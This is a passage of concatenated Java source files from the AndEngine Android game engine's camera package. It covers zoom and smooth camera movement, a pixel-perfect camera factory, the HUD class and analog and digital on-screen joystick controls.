if(this.mBoundsEnabled) {
this.ensureInBounds();
}
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public float getMinX() {
if(this.mZoomFactor == 1.0f) {
return super.getMinX();
} else {
final float centerX = this.getCenterX();
return centerX - (centerX - super.getMinX()) / this.mZoomFactor;
}
}
@Override
public float getMaxX() {
if(this.mZoomFactor == 1.0f) {
return super.getMaxX();
} else {
final float centerX = this.getCenterX();
return centerX + (super.getMaxX() - centerX) / this.mZoomFactor;
}
}
@Override
public float getMinY() {
if(this.mZoomFactor == 1.0f) {
return super.getMinY();
} else {
final float centerY = this.getCenterY();
return centerY - (centerY - super.getMinY()) / this.mZoomFactor;
}
}
@Override
public float getMaxY() {
if(this.mZoomFactor == 1.0f) {
return super.getMaxY();
} else {
final float centerY = this.getCenterY();
return centerY + (super.getMaxY() - centerY) / this.mZoomFactor;
}
}
@Override
public float getWidth() {
return super.getWidth() / this.mZoomFactor;
}
@Override
public float getHeight() {
return super.getHeight() / this.mZoomFactor;
}
@Override
protected void applySceneToCameraSceneOffset(final TouchEvent pSceneTouchEvent) {
final float zoomFactor = this.mZoomFactor;
if(zoomFactor != 1) {
final float scaleCenterX = this.getCenterX();
final float scaleCenterY = this.getCenterY();
VERTICES_TOUCH_TMP[VERTEX_INDEX_X] = pSceneTouchEvent.getX();
VERTICES_TOUCH_TMP[VERTEX_INDEX_Y] = pSceneTouchEvent.getY();
MathUtils.scaleAroundCenter(VERTICES_TOUCH_TMP, zoomFactor, zoomFactor, scaleCenterX, scaleCenterY); // TODO Use a Transformation object instead!?!
pSceneTouchEvent.set(VERTICES_TOUCH_TMP[VERTEX_INDEX_X], VERTICES_TOUCH_TMP[VERTEX_INDEX_Y]);
}
super.applySceneToCameraSceneOffset(pSceneTouchEvent);
}
@Override
protected void unapplySceneToCameraSceneOffset(final TouchEvent pCameraSceneTouchEvent) {
super.unapplySceneToCameraSceneOffset(pCameraSceneTouchEvent);
final float zoomFactor = this.mZoomFactor;
if(zoomFactor != 1) {
final float scaleCenterX = this.getCenterX();
final float scaleCenterY = this.getCenterY();
VERTICES_TOUCH_TMP[VERTEX_INDEX_X] = pCameraSceneTouchEvent.getX();
VERTICES_TOUCH_TMP[VERTEX_INDEX_Y] = pCameraSceneTouchEvent.getY();
MathUtils.revertScaleAroundCenter(VERTICES_TOUCH_TMP, zoomFactor, zoomFactor, scaleCenterX, scaleCenterY);
pCameraSceneTouchEvent.set(VERTICES_TOUCH_TMP[VERTEX_INDEX_X], VERTICES_TOUCH_TMP[VERTEX_INDEX_Y]);
}
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.camera;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 22:11:17 - 25.03.2010
*/
public class SmoothCamera extends ZoomCamera {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private float mMaxVelocityX;
private float mMaxVelocityY;
private float mMaxZoomFactorChange;
private float mTargetCenterX;
private float mTargetCenterY;
private float mTargetZoomFactor;
// ===========================================================
// Constructors
// ===========================================================
public SmoothCamera(final float pX, final float pY, final float pWidth, final float pHeight, final float pMaxVelocityX, final float pMaxVelocityY, final float pMaxZoomFactorChange) {
super(pX, pY, pWidth, pHeight);
this.mMaxVelocityX = pMaxVelocityX;
this.mMaxVelocityY = pMaxVelocityY;
this.mMaxZoomFactorChange = pMaxZoomFactorChange;
this.mTargetCenterX = this.getCenterX();
this.mTargetCenterY = this.getCenterY();
this.mTargetZoomFactor = 1.0f;
}
// ===========================================================
// Getter & Setter
// ===========================================================
@Override
public void setCenter(final float pCenterX, final float pCenterY) {
this.mTargetCenterX = pCenterX;
this.mTargetCenterY = pCenterY;
}
public void setCenterDirect(final float pCenterX, final float pCenterY) {
super.setCenter(pCenterX, pCenterY);
this.mTargetCenterX = pCenterX;
this.mTargetCenterY = pCenterY;
}
@Override
public void setZoomFactor(final float pZoomFactor) {
if(this.mTargetZoomFactor != pZoomFactor) {
if(this.mTargetZoomFactor == this.mZoomFactor) {
this.mTargetZoomFactor = pZoomFactor;
this.onSmoothZoomStarted();
} else {
this.mTargetZoomFactor = pZoomFactor;
}
}
}
public void setZoomFactorDirect(final float pZoomFactor) {
if(this.mTargetZoomFactor != this.mZoomFactor) {
this.mTargetZoomFactor = pZoomFactor;
super.setZoomFactor(pZoomFactor);
this.onSmoothZoomFinished();
} else {
this.mTargetZoomFactor = pZoomFactor;
super.setZoomFactor(pZoomFactor);
}
}
public void setMaxVelocityX(final float pMaxVelocityX) {
this.mMaxVelocityX = pMaxVelocityX;
}
public void setMaxVelocityY(final float pMaxVelocityY) {
this.mMaxVelocityY = pMaxVelocityY;
}
public void setMaxVelocity(final float pMaxVelocityX, final float pMaxVelocityY) {
this.mMaxVelocityX = pMaxVelocityX;
this.mMaxVelocityY = pMaxVelocityY;
}
public void setMaxZoomFactorChange(final float pMaxZoomFactorChange) {
this.mMaxZoomFactorChange = pMaxZoomFactorChange;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
protected void onSmoothZoomStarted() {
}
protected void onSmoothZoomFinished() {
}
@Override
public void onUpdate(final float pSecondsElapsed) {
super.onUpdate(pSecondsElapsed);
/* Update center. */
final float currentCenterX = this.getCenterX();
final float currentCenterY = this.getCenterY();
final float targetCenterX = this.mTargetCenterX;
final float targetCenterY = this.mTargetCenterY;
if(currentCenterX != targetCenterX || currentCenterY != targetCenterY) {
final float diffX = targetCenterX - currentCenterX;
final float dX = this.limitToMaxVelocityX(diffX, pSecondsElapsed);
final float diffY = targetCenterY - currentCenterY;
final float dY = this.limitToMaxVelocityY(diffY, pSecondsElapsed);
super.setCenter(currentCenterX + dX, currentCenterY + dY);
}
/* Update zoom. */
final float currentZoom = this.getZoomFactor();
final float targetZoomFactor = this.mTargetZoomFactor;
if(currentZoom != targetZoomFactor) {
final float absoluteZoomDifference = targetZoomFactor - currentZoom;
final float zoomChange = this.limitToMaxZoomFactorChange(absoluteZoomDifference, pSecondsElapsed);
super.setZoomFactor(currentZoom + zoomChange);
if(this.mZoomFactor == this.mTargetZoomFactor) {
this.onSmoothZoomFinished();
}
}
}
private float limitToMaxVelocityX(final float pValue, final float pSecondsElapsed) {
if(pValue > 0) {
return Math.min(pValue, this.mMaxVelocityX * pSecondsElapsed);
} else {
return Math.max(pValue, -this.mMaxVelocityX * pSecondsElapsed);
}
}
private float limitToMaxVelocityY(final float pValue, final float pSecondsElapsed) {
if(pValue > 0) {
return Math.min(pValue, this.mMaxVelocityY * pSecondsElapsed);
} else {
return Math.max(pValue, -this.mMaxVelocityY * pSecondsElapsed);
}
}
private float limitToMaxZoomFactorChange(final float pValue, final float pSecondsElapsed) {
if(pValue > 0) {
return Math.min(pValue, this.mMaxZoomFactorChange * pSecondsElapsed);
} else {
return Math.max(pValue, -this.mMaxZoomFactorChange * pSecondsElapsed);
}
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.camera;
import android.content.Context;
import android.util.DisplayMetrics;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 13:50:42 - 03.07.2010
*/
public class CameraFactory {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public static Camera createPixelPerfectCamera(final Context pContext, final float pCenterX, final float pCenterY) {
final DisplayMetrics displayMetrics = CameraFactory.getDisplayMetrics(pContext);
final float width = displayMetrics.widthPixels;
final float height = displayMetrics.heightPixels;
return new Camera(pCenterX - width * 0.5f, pCenterY - height * 0.5f, width, height);
}
private static DisplayMetrics getDisplayMetrics(final Context pContext) {
return pContext.getResources().getDisplayMetrics();
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.camera.hud;
import org.anddev.andengine.engine.camera.Camera;
import org.anddev.andengine.entity.scene.CameraScene;
import org.anddev.andengine.entity.scene.Scene;
/**
* While you can add a {@link HUD} to {@link Scene}, you should not do so.
* {@link HUD}s are meant to be added to {@link Camera}s via {@link Camera#setHUD(HUD)}.
*
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 14:13:13 - 01.04.2010
*/
public class HUD extends CameraScene {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
public HUD() {
super();
this.setBackgroundEnabled(false);
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.camera.hud.controls;
import org.anddev.andengine.engine.camera.Camera;
import org.anddev.andengine.input.touch.TouchEvent;
import org.anddev.andengine.input.touch.detector.ClickDetector;
import org.anddev.andengine.input.touch.detector.ClickDetector.IClickDetectorListener;
import org.anddev.andengine.opengl.texture.region.TextureRegion;
import org.anddev.andengine.util.MathUtils;
import org.anddev.andengine.util.constants.TimeConstants;
import android.util.FloatMath;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 00:21:55 - 11.07.2010
*/
public class AnalogOnScreenControl extends BaseOnScreenControl implements TimeConstants, IClickDetectorListener {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final ClickDetector mClickDetector = new ClickDetector(this);
// ===========================================================
// Constructors
// ===========================================================
public AnalogOnScreenControl(final float pX, final float pY, final Camera pCamera, final TextureRegion pControlBaseTextureRegion, final TextureRegion pControlKnobTextureRegion, final float pTimeBetweenUpdates, final IAnalogOnScreenControlListener pAnalogOnScreenControlListener) {
super(pX, pY, pCamera, pControlBaseTextureRegion, pControlKnobTextureRegion, pTimeBetweenUpdates, pAnalogOnScreenControlListener);
this.mClickDetector.setEnabled(false);
}
public AnalogOnScreenControl(final float pX, final float pY, final Camera pCamera, final TextureRegion pControlBaseTextureRegion, final TextureRegion pControlKnobTextureRegion, final float pTimeBetweenUpdates, final long pOnControlClickMaximumMilliseconds, final IAnalogOnScreenControlListener pAnalogOnScreenControlListener) {
super(pX, pY, pCamera, pControlBaseTextureRegion, pControlKnobTextureRegion, pTimeBetweenUpdates, pAnalogOnScreenControlListener);
this.mClickDetector.setTriggerClickMaximumMilliseconds(pOnControlClickMaximumMilliseconds);
}
// ===========================================================
// Getter & Setter
// ===========================================================
@Override
public IAnalogOnScreenControlListener getOnScreenControlListener() {
return (IAnalogOnScreenControlListener)super.getOnScreenControlListener();
}
public void setOnControlClickEnabled(final boolean pOnControlClickEnabled) {
this.mClickDetector.setEnabled(pOnControlClickEnabled);
}
public void setOnControlClickMaximumMilliseconds(final long pOnControlClickMaximumMilliseconds) {
this.mClickDetector.setTriggerClickMaximumMilliseconds(pOnControlClickMaximumMilliseconds);
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void onClick(final ClickDetector pClickDetector, final TouchEvent pTouchEvent) {
this.getOnScreenControlListener().onControlClick(this);
}
@Override
protected boolean onHandleControlBaseTouched(final TouchEvent pSceneTouchEvent, final float pTouchAreaLocalX, final float pTouchAreaLocalY) {
this.mClickDetector.onSceneTouchEvent(null, pSceneTouchEvent);
return super.onHandleControlBaseTouched(pSceneTouchEvent, pTouchAreaLocalX, pTouchAreaLocalY);
}
@Override
protected void onUpdateControlKnob(final float pRelativeX, final float pRelativeY) {
if(pRelativeX * pRelativeX + pRelativeY * pRelativeY <= 0.25f) {
super.onUpdateControlKnob(pRelativeX, pRelativeY);
} else {
final float angleRad = MathUtils.atan2(pRelativeY, pRelativeX);
super.onUpdateControlKnob(FloatMath.cos(angleRad) * 0.5f, FloatMath.sin(angleRad) * 0.5f);
}
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
public interface IAnalogOnScreenControlListener extends IOnScreenControlListener {
// ===========================================================
// Final Fields
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public void onControlClick(final AnalogOnScreenControl pAnalogOnScreenControl);
}
}
| Java |
package org.anddev.andengine.engine.camera.hud.controls;
import static org.anddev.andengine.util.constants.Constants.VERTEX_INDEX_X;
import static org.anddev.andengine.util.constants.Constants.VERTEX_INDEX_Y;
import org.anddev.andengine.engine.camera.Camera;
import org.anddev.andengine.engine.camera.hud.HUD;
import org.anddev.andengine.engine.handler.timer.ITimerCallback;
import org.anddev.andengine.engine.handler.timer.TimerHandler;
import org.anddev.andengine.entity.scene.Scene;
import org.anddev.andengine.entity.scene.Scene.IOnSceneTouchListener;
import org.anddev.andengine.entity.sprite.Sprite;
import org.anddev.andengine.input.touch.TouchEvent;
import org.anddev.andengine.opengl.texture.region.TextureRegion;
import org.anddev.andengine.util.MathUtils;
import android.view.MotionEvent;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 10:43:09 - 11.07.2010
*/
public abstract class BaseOnScreenControl extends HUD implements IOnSceneTouchListener {
// ===========================================================
// Constants
// ===========================================================
private static final int INVALID_POINTER_ID = -1;
// ===========================================================
// Fields
// ===========================================================
private final Sprite mControlBase;
private final Sprite mControlKnob;
private float mControlValueX;
private float mControlValueY;
private final IOnScreenControlListener mOnScreenControlListener;
private int mActivePointerID = INVALID_POINTER_ID;
// ===========================================================
// Constructors
// ===========================================================
public BaseOnScreenControl(final float pX, final float pY, final Camera pCamera, final TextureRegion pControlBaseTextureRegion, final TextureRegion pControlKnobTextureRegion, final float pTimeBetweenUpdates, final IOnScreenControlListener pOnScreenControlListener) {
this.setCamera(pCamera);
this.mOnScreenControlListener = pOnScreenControlListener;
/* Create the control base. */
this.mControlBase = new Sprite(pX, pY, pControlBaseTextureRegion) {
@Override
public boolean onAreaTouched(final TouchEvent pSceneTouchEvent, final float pTouchAreaLocalX, final float pTouchAreaLocalY) {
return BaseOnScreenControl.this.onHandleControlBaseTouched(pSceneTouchEvent, pTouchAreaLocalX, pTouchAreaLocalY);
}
};
/* Create the control knob. */
this.mControlKnob = new Sprite(0, 0, pControlKnobTextureRegion);
this.onHandleControlKnobReleased();
/* Register listeners and add objects to this HUD. */
this.setOnSceneTouchListener(this);
this.registerTouchArea(this.mControlBase);
this.registerUpdateHandler(new TimerHandler(pTimeBetweenUpdates, true, new ITimerCallback() {
@Override
public void onTimePassed(final TimerHandler pTimerHandler) {
BaseOnScreenControl.this.mOnScreenControlListener.onControlChange(BaseOnScreenControl.this, BaseOnScreenControl.this.mControlValueX, BaseOnScreenControl.this.mControlValueY);
}
}));
this.attachChild(this.mControlBase);
this.attachChild(this.mControlKnob);
this.setTouchAreaBindingEnabled(true);
}
// ===========================================================
// Getter & Setter
// ===========================================================
public Sprite getControlBase() {
return this.mControlBase;
}
public Sprite getControlKnob() {
return this.mControlKnob;
}
public IOnScreenControlListener getOnScreenControlListener() {
return this.mOnScreenControlListener;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public boolean onSceneTouchEvent(final Scene pScene, final TouchEvent pSceneTouchEvent) {
final int pointerID = pSceneTouchEvent.getPointerID();
if(pointerID == this.mActivePointerID) {
this.onHandleControlBaseLeft();
switch(pSceneTouchEvent.getAction()) {
case MotionEvent.ACTION_UP:
case MotionEvent.ACTION_CANCEL:
this.mActivePointerID = INVALID_POINTER_ID;
}
}
return false;
}
// ===========================================================
// Methods
// ===========================================================
public void refreshControlKnobPosition() {
this.onUpdateControlKnob(this.mControlValueX * 0.5f, this.mControlValueY * 0.5f);
}
/**
* When the touch happened outside of the bounds of this OnScreenControl.
* */
protected void onHandleControlBaseLeft() {
this.onUpdateControlKnob(0, 0);
}
/**
* When the OnScreenControl was released.
*/
protected void onHandleControlKnobReleased() {
this.onUpdateControlKnob(0, 0);
}
protected boolean onHandleControlBaseTouched(final TouchEvent pSceneTouchEvent, final float pTouchAreaLocalX, final float pTouchAreaLocalY) {
final int pointerID = pSceneTouchEvent.getPointerID();
switch(pSceneTouchEvent.getAction()) {
case MotionEvent.ACTION_DOWN:
if(this.mActivePointerID == INVALID_POINTER_ID) {
this.mActivePointerID = pointerID;
this.updateControlKnob(pTouchAreaLocalX, pTouchAreaLocalY);
return true;
}
break;
case MotionEvent.ACTION_UP:
case MotionEvent.ACTION_CANCEL:
if(this.mActivePointerID == pointerID) {
this.mActivePointerID = INVALID_POINTER_ID;
this.onHandleControlKnobReleased();
return true;
}
break;
default:
if(this.mActivePointerID == pointerID) {
this.updateControlKnob(pTouchAreaLocalX, pTouchAreaLocalY);
return true;
}
break;
}
return true;
}
private void updateControlKnob(final float pTouchAreaLocalX, final float pTouchAreaLocalY) {
final Sprite controlBase = this.mControlBase;
final float relativeX = MathUtils.bringToBounds(0, controlBase.getWidth(), pTouchAreaLocalX) / controlBase.getWidth() - 0.5f;
final float relativeY = MathUtils.bringToBounds(0, controlBase.getHeight(), pTouchAreaLocalY) / controlBase.getHeight() - 0.5f;
this.onUpdateControlKnob(relativeX, relativeY);
}
/**
* @param pRelativeX from <code>-0.5</code> (left) to <code>0.5</code> (right).
* @param pRelativeY from <code>-0.5</code> (top) to <code>0.5</code> (bottom).
*/
protected void onUpdateControlKnob(final float pRelativeX, final float pRelativeY) {
final Sprite controlBase = this.mControlBase;
final Sprite controlKnob = this.mControlKnob;
this.mControlValueX = 2 * pRelativeX;
this.mControlValueY = 2 * pRelativeY;
final float[] controlBaseSceneCenterCoordinates = controlBase.getSceneCenterCoordinates();
final float x = controlBaseSceneCenterCoordinates[VERTEX_INDEX_X] - controlKnob.getWidth() * 0.5f + pRelativeX * controlBase.getWidthScaled();
final float y = controlBaseSceneCenterCoordinates[VERTEX_INDEX_Y] - controlKnob.getHeight() * 0.5f + pRelativeY * controlBase.getHeightScaled();
controlKnob.setPosition(x, y);
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
public static interface IOnScreenControlListener {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
/**
* @param pBaseOnScreenControl
* @param pValueX between <code>-1</code> (left) to <code>1</code> (right).
* @param pValueY between <code>-1</code> (up) to <code>1</code> (down).
*/
public void onControlChange(final BaseOnScreenControl pBaseOnScreenControl, final float pValueX, final float pValueY);
}
}
| Java |
package org.anddev.andengine.engine.camera.hud.controls;
import org.anddev.andengine.engine.camera.Camera;
import org.anddev.andengine.opengl.texture.region.TextureRegion;
import org.anddev.andengine.util.MathUtils;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 00:21:55 - 11.07.2010
*/
public class DigitalOnScreenControl extends BaseOnScreenControl {
// ===========================================================
// Constants
// ===========================================================
private static final float EXTENT_SIDE = 0.5f;
private static final float EXTENT_DIAGONAL = 0.354f;
private static final float ANGLE_DELTA = 22.5f;
// ===========================================================
// Fields
// ===========================================================
private boolean mAllowDiagonal;
// ===========================================================
// Constructors
// ===========================================================
public DigitalOnScreenControl(final float pX, final float pY, final Camera pCamera, final TextureRegion pControlBaseTextureRegion, final TextureRegion pControlKnobTextureRegion, final float pTimeBetweenUpdates, final IOnScreenControlListener pOnScreenControlListener) {
this(pX, pY, pCamera, pControlBaseTextureRegion, pControlKnobTextureRegion, pTimeBetweenUpdates, false, pOnScreenControlListener);
}
public DigitalOnScreenControl(final float pX, final float pY, final Camera pCamera, final TextureRegion pControlBaseTextureRegion, final TextureRegion pControlKnobTextureRegion, final float pTimeBetweenUpdates, final boolean pAllowDiagonal, final IOnScreenControlListener pOnScreenControlListener) {
super(pX, pY, pCamera, pControlBaseTextureRegion, pControlKnobTextureRegion, pTimeBetweenUpdates, pOnScreenControlListener);
this.mAllowDiagonal = pAllowDiagonal;
}
// ===========================================================
// Getter & Setter
// ===========================================================
public boolean isAllowDiagonal() {
return this.mAllowDiagonal;
}
public void setAllowDiagonal(final boolean pAllowDiagonal) {
this.mAllowDiagonal = pAllowDiagonal;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
protected void onUpdateControlKnob(final float pRelativeX, final float pRelativeY) {
if(pRelativeX == 0 && pRelativeY == 0) {
super.onUpdateControlKnob(0, 0);
return;
}
if(this.mAllowDiagonal) {
final float angle = MathUtils.radToDeg(MathUtils.atan2(pRelativeY, pRelativeX)) + 180;
if(this.testDiagonalAngle(0, angle) || this.testDiagonalAngle(360, angle)) {
super.onUpdateControlKnob(-EXTENT_SIDE, 0);
} else if(this.testDiagonalAngle(45, angle)) {
super.onUpdateControlKnob(-EXTENT_DIAGONAL, -EXTENT_DIAGONAL);
} else if(this.testDiagonalAngle(90, angle)) {
super.onUpdateControlKnob(0, -EXTENT_SIDE);
} else if(this.testDiagonalAngle(135, angle)) {
super.onUpdateControlKnob(EXTENT_DIAGONAL, -EXTENT_DIAGONAL);
} else if(this.testDiagonalAngle(180, angle)) {
super.onUpdateControlKnob(EXTENT_SIDE, 0);
} else if(this.testDiagonalAngle(225, angle)) {
super.onUpdateControlKnob(EXTENT_DIAGONAL, EXTENT_DIAGONAL);
} else if(this.testDiagonalAngle(270, angle)) {
super.onUpdateControlKnob(0, EXTENT_SIDE);
} else if(this.testDiagonalAngle(315, angle)) {
super.onUpdateControlKnob(-EXTENT_DIAGONAL, EXTENT_DIAGONAL);
} else {
super.onUpdateControlKnob(0, 0);
}
} else {
if(Math.abs(pRelativeX) > Math.abs(pRelativeY)) {
if(pRelativeX > 0) {
super.onUpdateControlKnob(EXTENT_SIDE, 0);
} else if(pRelativeX < 0) {
super.onUpdateControlKnob(-EXTENT_SIDE, 0);
} else if(pRelativeX == 0) {
super.onUpdateControlKnob(0, 0);
}
} else {
if(pRelativeY > 0) {
super.onUpdateControlKnob(0, EXTENT_SIDE);
} else if(pRelativeY < 0) {
super.onUpdateControlKnob(0, -EXTENT_SIDE);
} else if(pRelativeY == 0) {
super.onUpdateControlKnob(0, 0);
}
}
}
}
private boolean testDiagonalAngle(final float pTestAngle, final float pActualAngle) {
return pActualAngle > pTestAngle - ANGLE_DELTA && pActualAngle < pTestAngle + ANGLE_DELTA;
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.camera;
import static org.anddev.andengine.util.constants.Constants.VERTEX_INDEX_X;
import static org.anddev.andengine.util.constants.Constants.VERTEX_INDEX_Y;
import javax.microedition.khronos.opengles.GL10;
import org.anddev.andengine.collision.RectangularShapeCollisionChecker;
import org.anddev.andengine.engine.camera.hud.HUD;
import org.anddev.andengine.engine.handler.IUpdateHandler;
import org.anddev.andengine.entity.IEntity;
import org.anddev.andengine.entity.primitive.Line;
import org.anddev.andengine.entity.shape.RectangularShape;
import org.anddev.andengine.input.touch.TouchEvent;
import org.anddev.andengine.opengl.util.GLHelper;
import org.anddev.andengine.util.MathUtils;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 10:24:18 - 25.03.2010
*/
public class Camera implements IUpdateHandler {
// ===========================================================
// Constants
// ===========================================================
protected static final float[] VERTICES_TOUCH_TMP = new float[2];
// ===========================================================
// Fields
// ===========================================================
private float mMinX;
private float mMaxX;
private float mMinY;
private float mMaxY;
private float mNearZ = -1.0f;
private float mFarZ = 1.0f;
private HUD mHUD;
private IEntity mChaseEntity;
protected float mRotation = 0;
protected float mCameraSceneRotation = 0;
protected int mSurfaceX;
protected int mSurfaceY;
protected int mSurfaceWidth;
protected int mSurfaceHeight;
// ===========================================================
// Constructors
// ===========================================================
public Camera(final float pX, final float pY, final float pWidth, final float pHeight) {
this.mMinX = pX;
this.mMaxX = pX + pWidth;
this.mMinY = pY;
this.mMaxY = pY + pHeight;
}
// ===========================================================
// Getter & Setter
// ===========================================================
public float getMinX() {
return this.mMinX;
}
public float getMaxX() {
return this.mMaxX;
}
public float getMinY() {
return this.mMinY;
}
public float getMaxY() {
return this.mMaxY;
}
public float getNearZClippingPlane() {
return this.mNearZ;
}
public float getFarZClippingPlane() {
return this.mFarZ;
}
public void setNearZClippingPlane(final float pNearZClippingPlane) {
this.mNearZ = pNearZClippingPlane;
}
public void setFarZClippingPlane(final float pFarZClippingPlane) {
this.mFarZ = pFarZClippingPlane;
}
public void setZClippingPlanes(final float pNearZClippingPlane, final float pFarZClippingPlane) {
this.mNearZ = pNearZClippingPlane;
this.mFarZ = pFarZClippingPlane;
}
public float getWidth() {
return this.mMaxX - this.mMinX;
}
public float getHeight() {
return this.mMaxY - this.mMinY;
}
public float getWidthRaw() {
return this.mMaxX - this.mMinX;
}
public float getHeightRaw() {
return this.mMaxY - this.mMinY;
}
public float getCenterX() {
final float minX = this.mMinX;
return minX + (this.mMaxX - minX) * 0.5f;
}
public float getCenterY() {
final float minY = this.mMinY;
return minY + (this.mMaxY - minY) * 0.5f;
}
public void setCenter(final float pCenterX, final float pCenterY) {
final float dX = pCenterX - this.getCenterX();
final float dY = pCenterY - this.getCenterY();
this.mMinX += dX;
this.mMaxX += dX;
this.mMinY += dY;
this.mMaxY += dY;
}
public void offsetCenter(final float pX, final float pY) {
this.setCenter(this.getCenterX() + pX, this.getCenterY() + pY);
}
public HUD getHUD() {
return this.mHUD;
}
public void setHUD(final HUD pHUD) {
this.mHUD = pHUD;
pHUD.setCamera(this);
}
public boolean hasHUD() {
return this.mHUD != null;
}
public void setChaseEntity(final IEntity pChaseEntity) {
this.mChaseEntity = pChaseEntity;
}
public float getRotation() {
return this.mRotation;
}
public void setRotation(final float pRotation) {
this.mRotation = pRotation;
}
public float getCameraSceneRotation() {
return this.mCameraSceneRotation;
}
public void setCameraSceneRotation(final float pCameraSceneRotation) {
this.mCameraSceneRotation = pCameraSceneRotation;
}
public int getSurfaceX() {
return this.mSurfaceX;
}
public int getSurfaceY() {
return this.mSurfaceY;
}
public int getSurfaceWidth() {
return this.mSurfaceWidth;
}
public int getSurfaceHeight() {
return this.mSurfaceHeight;
}
public void setSurfaceSize(final int pSurfaceX, final int pSurfaceY, final int pSurfaceWidth, final int pSurfaceHeight) {
this.mSurfaceX = pSurfaceX;
this.mSurfaceY = pSurfaceY;
this.mSurfaceWidth = pSurfaceWidth;
this.mSurfaceHeight = pSurfaceHeight;
}
public boolean isRotated() {
return this.mRotation != 0;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void onUpdate(final float pSecondsElapsed) {
if(this.mHUD != null) {
this.mHUD.onUpdate(pSecondsElapsed);
}
this.updateChaseEntity();
}
@Override
public void reset() {
}
// ===========================================================
// Methods
// ===========================================================
public void onDrawHUD(final GL10 pGL) {
if(this.mHUD != null) {
this.mHUD.onDraw(pGL, this);
}
}
public void updateChaseEntity() {
if(this.mChaseEntity != null) {
final float[] centerCoordinates = this.mChaseEntity.getSceneCenterCoordinates();
this.setCenter(centerCoordinates[VERTEX_INDEX_X], centerCoordinates[VERTEX_INDEX_Y]);
}
}
public boolean isLineVisible(final Line pLine) {
return RectangularShapeCollisionChecker.isVisible(this, pLine);
}
public boolean isRectangularShapeVisible(final RectangularShape pRectangularShape) {
return RectangularShapeCollisionChecker.isVisible(this, pRectangularShape);
}
public void onApplySceneMatrix(final GL10 pGL) {
GLHelper.setProjectionIdentityMatrix(pGL);
pGL.glOrthof(this.getMinX(), this.getMaxX(), this.getMaxY(), this.getMinY(), this.mNearZ, this.mFarZ);
final float rotation = this.mRotation;
if(rotation != 0) {
this.applyRotation(pGL, this.getCenterX(), this.getCenterY(), rotation);
}
}
public void onApplySceneBackgroundMatrix(final GL10 pGL) {
GLHelper.setProjectionIdentityMatrix(pGL);
final float widthRaw = this.getWidthRaw();
final float heightRaw = this.getHeightRaw();
pGL.glOrthof(0, widthRaw, heightRaw, 0, this.mNearZ, this.mFarZ);
final float rotation = this.mRotation;
if(rotation != 0) {
this.applyRotation(pGL, widthRaw * 0.5f, heightRaw * 0.5f, rotation);
}
}
public void onApplyCameraSceneMatrix(final GL10 pGL) {
GLHelper.setProjectionIdentityMatrix(pGL);
final float widthRaw = this.getWidthRaw();
final float heightRaw = this.getHeightRaw();
pGL.glOrthof(0, widthRaw, heightRaw, 0, this.mNearZ, this.mFarZ);
final float cameraSceneRotation = this.mCameraSceneRotation;
if(cameraSceneRotation != 0) {
this.applyRotation(pGL, widthRaw * 0.5f, heightRaw * 0.5f, cameraSceneRotation);
}
}
private void applyRotation(final GL10 pGL, final float pRotationCenterX, final float pRotationCenterY, final float pAngle) {
pGL.glTranslatef(pRotationCenterX, pRotationCenterY, 0);
pGL.glRotatef(pAngle, 0, 0, 1);
pGL.glTranslatef(-pRotationCenterX, -pRotationCenterY, 0);
}
public void convertSceneToCameraSceneTouchEvent(final TouchEvent pSceneTouchEvent) {
this.unapplySceneRotation(pSceneTouchEvent);
this.applySceneToCameraSceneOffset(pSceneTouchEvent);
this.applyCameraSceneRotation(pSceneTouchEvent);
}
public void convertCameraSceneToSceneTouchEvent(final TouchEvent pCameraSceneTouchEvent) {
this.unapplyCameraSceneRotation(pCameraSceneTouchEvent);
this.unapplySceneToCameraSceneOffset(pCameraSceneTouchEvent);
this.applySceneRotation(pCameraSceneTouchEvent);
}
